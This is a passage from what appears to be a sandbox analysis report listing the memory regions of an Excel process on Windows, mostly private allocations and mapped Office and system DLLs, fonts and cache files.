	          end_va = 0x5681fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000005680000"
	        filename = ""

Region:
	              id = 284
	        start_va = 0x5690000
	          end_va = 0x578ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005690000"
	        filename = ""

Region:
	              id = 285
	        start_va = 0x5790000
	          end_va = 0x5793fff
	     entry_point = 0x5790000
	     region_type = mapped_file
	            name = "cversions.2.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")

Region:
	              id = 286
	        start_va = 0x57a0000
	          end_va = 0x57a0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000057a0000"
	        filename = ""

Region:
	              id = 287
	        start_va = 0x57b0000
	          end_va = 0x57b0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000057b0000"
	        filename = ""

Region:
	              id = 288
	        start_va = 0x57c0000
	          end_va = 0x57c0fff
	     entry_point = 0x57c0000
	     region_type = mapped_file
	            name = "{40fc8d7d-05ed-4feb-b03b-6c100659ef5c}.2.ver0x0000000000000001.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{40FC8D7D-05ED-4FEB-B03B-6C100659EF5C}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{40fc8d7d-05ed-4feb-b03b-6c100659ef5c}.2.ver0x0000000000000001.db")

Region:
	              id = 289
	        start_va = 0x57d0000
	          end_va = 0x584ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000057d0000"
	        filename = ""

Region:
	              id = 290
	        start_va = 0x5850000
	          end_va = 0x5853fff
	     entry_point = 0x5850000
	     region_type = mapped_file
	            name = "cversions.2.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")

Region:
	              id = 291
	        start_va = 0x5860000
	          end_va = 0x595ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005860000"
	        filename = ""

Region:
	              id = 292
	        start_va = 0x5960000
	          end_va = 0x5960fff
	     entry_point = 0x5960000
	     region_type = mapped_file
	            name = "{0448dc77-1f74-49f5-ba7e-8de74fa55642}.2.ver0x0000000000000001.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{0448DC77-1F74-49F5-BA7E-8DE74FA55642}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{0448dc77-1f74-49f5-ba7e-8de74fa55642}.2.ver0x0000000000000001.db")

Region:
	              id = 293
	        start_va = 0x5970000
	          end_va = 0x597ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005970000"
	        filename = ""

Region:
	              id = 294
	        start_va = 0x5980000
	          end_va = 0x5cc2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000005980000"
	        filename = ""

Region:
	              id = 295
	        start_va = 0x5cd0000
	          end_va = 0x64cffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000005cd0000"
	        filename = ""

Region:
	              id = 296
	        start_va = 0x64d0000
	          end_va = 0x64d3fff
	     entry_point = 0x64d0000
	     region_type = mapped_file
	            name = "cversions.2.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")

Region:
	              id = 297
	        start_va = 0x64e0000
	          end_va = 0x64e0fff
	     entry_point = 0x64e0000
	     region_type = mapped_file
	            name = "{9d8c497c-611a-4408-acad-eadee99a69bf}.2.ver0x0000000000000001.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{9D8C497C-611A-4408-ACAD-EADEE99A69BF}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{9d8c497c-611a-4408-acad-eadee99a69bf}.2.ver0x0000000000000001.db")

Region:
	              id = 298
	        start_va = 0x64f0000
	          end_va = 0x64f0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000064f0000"
	        filename = ""

Region:
	              id = 299
	        start_va = 0x6500000
	          end_va = 0x6500fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006500000"
	        filename = ""

Region:
	              id = 300
	        start_va = 0x6510000
	          end_va = 0x6517fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006510000"
	        filename = ""

Region:
	              id = 301
	        start_va = 0x6520000
	          end_va = 0x6520fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000006520000"
	        filename = ""

Region:
	              id = 302
	        start_va = 0x6530000
	          end_va = 0x6530fff
	     entry_point = 0x6530000
	     region_type = mapped_file
	            name = "oleaccrc.dll"
	        filename = "\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\windows\\system32\\oleaccrc.dll")

Region:
	              id = 303
	        start_va = 0x6540000
	          end_va = 0x65bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006540000"
	        filename = ""

Region:
	              id = 304
	        start_va = 0x65c0000
	          end_va = 0x66bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000065c0000"
	        filename = ""

Region:
	              id = 305
	        start_va = 0x66c0000
	          end_va = 0x66c1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000066c0000"
	        filename = ""

Region:
	              id = 306
	        start_va = 0x66d0000
	          end_va = 0x66d0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000066d0000"
	        filename = ""

Region:
	              id = 307
	        start_va = 0x66e0000
	          end_va = 0x66e1fff
	     entry_point = 0x66e0000
	     region_type = mapped_file
	            name = "mssvp.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\mssvp.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mssvp.dll.mui")

Region:
	              id = 308
	        start_va = 0x66f0000
	          end_va = 0x67effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000066f0000"
	        filename = ""

Region:
	              id = 309
	        start_va = 0x67f0000
	          end_va = 0x67fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000067f0000"
	        filename = ""

Region:
	              id = 310
	        start_va = 0x6800000
	          end_va = 0x680ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006800000"
	        filename = ""

Region:
	              id = 311
	        start_va = 0x6810000
	          end_va = 0x6811fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000006810000"
	        filename = ""

Region:
	              id = 312
	        start_va = 0x6860000
	          end_va = 0x695ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006860000"
	        filename = ""

Region:
	              id = 313
	        start_va = 0x69c0000
	          end_va = 0x6abffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000069c0000"
	        filename = ""

Region:
	              id = 314
	        start_va = 0x6b40000
	          end_va = 0x6c3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006b40000"
	        filename = ""

Region:
	              id = 315
	        start_va = 0x6cb0000
	          end_va = 0x6daffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006cb0000"
	        filename = ""

Region:
	              id = 316
	        start_va = 0x6db0000
	          end_va = 0x6eaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006db0000"
	        filename = ""

Region:
	              id = 317
	        start_va = 0x6ed0000
	          end_va = 0x6f4ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006ed0000"
	        filename = ""

Region:
	              id = 318
	        start_va = 0x6fb0000
	          end_va = 0x77affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006fb0000"
	        filename = ""

Region:
	              id = 319
	        start_va = 0x77b0000
	          end_va = 0x7faffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000077b0000"
	        filename = ""

Region:
	              id = 320
	        start_va = 0x7ff0000
	          end_va = 0x80effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000007ff0000"
	        filename = ""

Region:
	              id = 321
	        start_va = 0x80f0000
	          end_va = 0x84f0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000080f0000"
	        filename = ""

Region:
	              id = 322
	        start_va = 0x8500000
	          end_va = 0x8900fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000008500000"
	        filename = ""

Region:
	              id = 323
	        start_va = 0x8910000
	          end_va = 0x8d10fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000008910000"
	        filename = ""

Region:
	              id = 324
	        start_va = 0x8d20000
	          end_va = 0x964ffff
	     entry_point = 0x8d20000
	     region_type = mapped_file
	            name = "staticcache.dat"
	        filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat")

Region:
	              id = 325
	        start_va = 0x9650000
	          end_va = 0x984ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000009650000"
	        filename = ""

Region:
	              id = 326
	        start_va = 0x9850000
	          end_va = 0xa850fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000009850000"
	        filename = ""

Region:
	              id = 327
	        start_va = 0xa860000
	          end_va = 0xa95ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000000a860000"
	        filename = ""

Region:
	              id = 328
	        start_va = 0xa960000
	          end_va = 0xaa5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000000a960000"
	        filename = ""

Region:
	              id = 329
	        start_va = 0xaaa0000
	          end_va = 0xab9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000000aaa0000"
	        filename = ""

Region:
	              id = 330
	        start_va = 0xac60000
	          end_va = 0xac6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000000ac60000"
	        filename = ""

Region:
	              id = 331
	        start_va = 0xac80000
	          end_va = 0xacfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000000ac80000"
	        filename = ""

Region:
	              id = 332
	        start_va = 0xad00000
	          end_va = 0xaea3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000000ad00000"
	        filename = ""

Region:
	              id = 333
	        start_va = 0xaeb0000
	          end_va = 0xaf5afff
	     entry_point = 0xaeb0000
	     region_type = mapped_file
	            name = "tahoma.ttf"
	        filename = "\\Windows\\Fonts\\tahoma.ttf" (normalized: "c:\\windows\\fonts\\tahoma.ttf")

Region:
	              id = 334
	        start_va = 0xaf60000
	          end_va = 0xb35ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000000af60000"
	        filename = ""

Region:
	              id = 335
	        start_va = 0xb360000
	          end_va = 0xb5f0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000000b360000"
	        filename = ""

Region:
	              id = 336
	        start_va = 0xb600000
	          end_va = 0xc5cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000000b600000"
	        filename = ""

Region:
	              id = 337
	        start_va = 0xc6b0000
	          end_va = 0xc7affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000000c6b0000"
	        filename = ""

Region:
	              id = 338
	        start_va = 0xc7b0000
	          end_va = 0xc8affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000000c7b0000"
	        filename = ""

Region:
	              id = 339
	        start_va = 0xc970000
	          end_va = 0xca6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000000c970000"
	        filename = ""

Region:
	              id = 340
	        start_va = 0xca70000
	          end_va = 0xcc8cfff
	     entry_point = 0xca70000
	     region_type = mapped_file
	            name = "office.odf"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cultures\\office.odf")

Region:
	              id = 341
	        start_va = 0xcc90000
	          end_va = 0xcd8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000000cc90000"
	        filename = ""

Region:
	              id = 342
	        start_va = 0xcdf0000
	          end_va = 0xceeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000000cdf0000"
	        filename = ""

Region:
	              id = 343
	        start_va = 0xcf60000
	          end_va = 0xd05ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000000cf60000"
	        filename = ""

Region:
	              id = 344
	        start_va = 0xd070000
	          end_va = 0xd16ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000000d070000"
	        filename = ""

Region:
	              id = 345
	        start_va = 0xd210000
	          end_va = 0xd30ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000000d210000"
	        filename = ""

Region:
	              id = 346
	        start_va = 0xd400000
	          end_va = 0xd5fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000000d400000"
	        filename = ""

Region:
	              id = 347
	        start_va = 0xd6b0000
	          end_va = 0xd7affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000000d6b0000"
	        filename = ""

Region:
	              id = 348
	        start_va = 0xd850000
	          end_va = 0xd94ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000000d850000"
	        filename = ""

Region:
	              id = 349
	        start_va = 0xda30000
	          end_va = 0xdb2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000000da30000"
	        filename = ""

Region:
	              id = 350
	        start_va = 0xdb70000
	          end_va = 0xdc6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000000db70000"
	        filename = ""

Region:
	              id = 351
	        start_va = 0xdc70000
	          end_va = 0xdd6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000000dc70000"
	        filename = ""

Region:
	              id = 352
	        start_va = 0x37a30000
	          end_va = 0x37a3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000037a30000"
	        filename = ""

Region:
	              id = 353
	        start_va = 0x37c80000
	          end_va = 0x37c8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000037c80000"
	        filename = ""

Region:
	              id = 354
	        start_va = 0x751b0000
	          end_va = 0x751e2fff
	     entry_point = 0x751b0000
	     region_type = mapped_file
	            name = "osppc.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll")

Region:
	              id = 355
	        start_va = 0x77a20000
	          end_va = 0x77b19fff
	     entry_point = 0x77a20000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 356
	        start_va = 0x77b20000
	          end_va = 0x77c3efff
	     entry_point = 0x77b20000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 357
	        start_va = 0x77c40000
	          end_va = 0x77de8fff
	     entry_point = 0x77c40000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 358
	        start_va = 0x77e00000
	          end_va = 0x77e06fff
	     entry_point = 0x77e00000
	     region_type = mapped_file
	            name = "psapi.dll"
	        filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll")

Region:
	              id = 359
	        start_va = 0x77e10000
	          end_va = 0x77e12fff
	     entry_point = 0x77e10000
	     region_type = mapped_file
	            name = "normaliz.dll"
	        filename = "\\Windows\\System32\\normaliz.dll" (normalized: "c:\\windows\\system32\\normaliz.dll")

Region:
	              id = 360
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 361
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 362
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 363
	        start_va = 0x13f510000
	          end_va = 0x1421b3fff
	     entry_point = 0x13f510000
	     region_type = mapped_file
	            name = "excel.exe"
	        filename = "\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\excel.exe")

Region:
	              id = 364
	        start_va = 0x7febdd50000
	          end_va = 0x7febdd5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007febdd50000"
	        filename = ""

Region:
	              id = 365
	        start_va = 0x7febfb90000
	          end_va = 0x7febfb9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007febfb90000"
	        filename = ""

Region:
	              id = 366
	        start_va = 0x7fee6740000
	          end_va = 0x7fee6766fff
	     entry_point = 0x7fee6740000
	     region_type = mapped_file
	            name = "ehstorapi.dll"
	        filename = "\\Windows\\System32\\EhStorAPI.dll" (normalized: "c:\\windows\\system32\\ehstorapi.dll")

Region:
	              id = 367
	        start_va = 0x7fee6770000
	          end_va = 0x7fee69e0fff
	     entry_point = 0x7fee6770000
	     region_type = mapped_file
	            name = "wpdshext.dll"
	        filename = "\\Windows\\System32\\wpdshext.dll" (normalized: "c:\\windows\\system32\\wpdshext.dll")

Region:
	              id = 368
	        start_va = 0x7fee69f0000
	          end_va = 0x7fee6a11fff
	     entry_point = 0x7fee69f0000
	     region_type = mapped_file
	            name = "ntlanman.dll"
	        filename = "\\Windows\\System32\\ntlanman.dll" (normalized: "c:\\windows\\system32\\ntlanman.dll")

Region:
	              id = 369
	        start_va = 0x7fee6a20000
	          end_va = 0x7fee6a29fff
	     entry_point = 0x7fee6a20000
	     region_type = mapped_file
	            name = "drprov.dll"
	        filename = "\\Windows\\System32\\drprov.dll" (normalized: "c:\\windows\\system32\\drprov.dll")

Region:
	              id = 370
	        start_va = 0x7fee6a30000
	          end_va = 0x7fee6aa2fff
	     entry_point = 0x7fee6a30000
	     region_type = mapped_file
	            name = "ieproxy.dll"
	        filename = "\\Program Files\\Internet Explorer\\ieproxy.dll" (normalized: "c:\\program files\\internet explorer\\ieproxy.dll")

Region:
	              id = 371
	        start_va = 0x7fee6ab0000
	          end_va = 0x7fee6acafff
	     entry_point = 0x7fee6ab0000
	     region_type = mapped_file
	            name = "mapi32.dll"
	        filename = "\\Windows\\System32\\mapi32.dll" (normalized: "c:\\windows\\system32\\mapi32.dll")

Region:
	              id = 372
	        start_va = 0x7fee6ad0000
	          end_va = 0x7fee6b91fff
	     entry_point = 0x7fee6ad0000
	     region_type = mapped_file
	            name = "mssvp.dll"
	        filename = "\\Windows\\System32\\mssvp.dll" (normalized: "c:\\windows\\system32\\mssvp.dll")

Region:
	              id = 373
	        start_va = 0x7fee6ba0000
	          end_va = 0x7fee6c1afff
	     entry_point = 0x7fee6ba0000
	     region_type = mapped_file
	            name = "structuredquery.dll"
	        filename = "\\Windows\\System32\\StructuredQuery.dll" (normalized: "c:\\windows\\system32\\structuredquery.dll")

Region:
	              id = 374
	        start_va = 0x7fee6c20000
	          end_va = 0x7fee6c74fff
	     entry_point = 0x7fee6c20000
	     region_type = mapped_file
	            name = "msohevi.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\Office16\\MSOHEVI.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msohevi.dll")

Region:
	              id = 375
	        start_va = 0x7fee6c80000
	          end_va = 0x7fee6caafff
	     entry_point = 0x7fee6c80000
	     region_type = mapped_file
	            name = "wxpnse.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\WXPNSE.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\wxpnse.dll")

Region:
	              id = 376
	        start_va = 0x7fee6cb0000
	          end_va = 0x7fee6d4ffff
	     entry_point = 0x7fee6cb0000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll")

Region:
	              id = 377
	        start_va = 0x7fee6d50000
	          end_va = 0x7fee6d6bfff
	     entry_point = 0x7fee6d50000
	     region_type = mapped_file
	            name = "davclnt.dll"
	        filename = "\\Windows\\System32\\davclnt.dll" (normalized: "c:\\windows\\system32\\davclnt.dll")

Region:
	              id = 378
	        start_va = 0x7fee6d70000
	          end_va = 0x7fee6d85fff
	     entry_point = 0x7fee6d70000
	     region_type = mapped_file
	            name = "msoxev.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSOXEV.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\msoxev.dll")

Region:
	              id = 379
	        start_va = 0x7fee6d90000
	          end_va = 0x7fee6d99fff
	     entry_point = 0x7fee6d90000
	     region_type = mapped_file
	            name = "davhlpr.dll"
	        filename = "\\Windows\\System32\\davhlpr.dll" (normalized: "c:\\windows\\system32\\davhlpr.dll")

Region:
	              id = 380
	        start_va = 0x7fee7230000
	          end_va = 0x7fee76a8fff
	     entry_point = 0x7fee7230000
	     region_type = mapped_file
	            name = "gfx.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\Office16\\GFX.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\gfx.dll")

Region:
	              id = 381
	        start_va = 0x7fee76b0000
	          end_va = 0x7fee7904fff
	     entry_point = 0x7fee76b0000
	     region_type = mapped_file
	            name = "ivy.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\Office16\\IVY.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\ivy.dll")

Region:
	              id = 382
	        start_va = 0x7fee7910000
	          end_va = 0x7fee86e5fff
	     entry_point = 0x7fee7910000
	     region_type = mapped_file
	            name = "chart.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\Office16\\CHART.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\chart.dll")

Region:
	              id = 383
	        start_va = 0x7fee86f0000
	          end_va = 0x7fee9674fff
	     entry_point = 0x7fee86f0000
	     region_type = mapped_file
	            name = "oart.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\Office16\\OART.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\oart.dll")

Region:
	              id = 384
	        start_va = 0x7fee9680000
	          end_va = 0x7fee991afff
	     entry_point = 0x7fee9680000
	     region_type = mapped_file
	            name = "riched20.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\RICHED20.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\riched20.dll")

Region:
	              id = 385
	        start_va = 0x7fee9a40000
	          end_va = 0x7fee9b59fff
	     entry_point = 0x7fee9a40000
	     region_type = mapped_file
	            name = "adal.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\ADAL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\adal.dll")

Region:
	              id = 386
	        start_va = 0x7fee9b60000
	          end_va = 0x7fee9cddfff
	     entry_point = 0x7fee9b60000
	     region_type = mapped_file
	            name = "dwrite.dll"
	        filename = "\\Windows\\System32\\DWrite.dll" (normalized: "c:\\windows\\system32\\dwrite.dll")

Region:
	              id = 387
	        start_va = 0x7fee9ce0000
	          end_va = 0x7fee9d78fff
	     entry_point = 0x7fee9ce0000
	     region_type = mapped_file
	            name = "mscoreei.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll")

Region:
	              id = 388
	        start_va = 0x7fee9d80000
	          end_va = 0x7fee9deefff
	     entry_point = 0x7fee9d80000
	     region_type = mapped_file
	            name = "mscoree.dll"
	        filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll")

Region:
	              id = 389
	        start_va = 0x7fee9df0000
	          end_va = 0x7fee9f8cfff
	     entry_point = 0x7fee9df0000
	     region_type = mapped_file
	            name = "msointl.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\msointl.dll")

Region:
	              id = 390
	        start_va = 0x7fee9f90000
	          end_va = 0x7feea15ffff
	     entry_point = 0x7fee9f90000
	     region_type = mapped_file
	            name = "d3d10warp.dll"
	        filename = "\\Windows\\System32\\d3d10warp.dll" (normalized: "c:\\windows\\system32\\d3d10warp.dll")

Region:
	              id = 391
	        start_va = 0x7feea160000
	          end_va = 0x7feee546fff
	     entry_point = 0x7feea160000
	     region_type = mapped_file
	            name = "msores.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSORES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\msores.dll")

Region:
	              id = 392
	        start_va = 0x7feee550000
	          end_va = 0x7feef244fff
	     entry_point = 0x7feee550000
	     region_type = mapped_file
	            name = "mso99lres.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSO99LRES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso99lres.dll")

Region:
	              id = 393
	        start_va = 0x7feef250000
	          end_va = 0x7feef68cfff
	     entry_point = 0x7feef250000
	     region_type = mapped_file
	            name = "mso40uires.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSO40UIRES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso40uires.dll")

Region:
	              id = 394
	        start_va = 0x7feef690000
	          end_va = 0x7fef10bbfff
	     entry_point = 0x7feef690000
	     region_type = mapped_file
	            name = "mso.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSO.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso.dll")

Region:
	              id = 395
	        start_va = 0x7fef10c0000
	          end_va = 0x7fef1d66fff
	     entry_point = 0x7fef10c0000
	     region_type = mapped_file
	            name = "mso98win32client.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso98win32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso98win32client.dll")

Region:
	              id = 396
	        start_va = 0x7fef1d70000
	          end_va = 0x7fef283efff
	     entry_point = 0x7fef1d70000
	     region_type = mapped_file
	            name = "mso40uiwin32client.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso40UIwin32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso40uiwin32client.dll")

Region:
	              id = 397
	        start_va = 0x7fef2840000
	          end_va = 0x7fef2f23fff
	     entry_point = 0x7fef2840000
	     region_type = mapped_file
	            name = "mso30win32client.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso30win32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso30win32client.dll")

Region:
	              id = 398
	        start_va = 0x7fef2f70000
	          end_va = 0x7fef3046fff
	     entry_point = 0x7fef2f70000
	     region_type = mapped_file
	            name = "searchfolder.dll"
	        filename = "\\Windows\\System32\\SearchFolder.dll" (normalized: "c:\\windows\\system32\\searchfolder.dll")

Region:
	              id = 399
	        start_va = 0x7fef3050000
	          end_va = 0x7fef3115fff
	     entry_point = 0x7fef3050000
	     region_type = mapped_file
	            name = "d3d11.dll"
	        filename = "\\Windows\\System32\\d3d11.dll" (normalized: "c:\\windows\\system32\\d3d11.dll")

Region:
	              id = 400
	        start_va = 0x7fef3120000
	          end_va = 0x7fef35c2fff
	     entry_point = 0x7fef3120000
	     region_type = mapped_file
	            name = "mso20win32client.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso20win32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso20win32client.dll")

Region:
	              id = 401
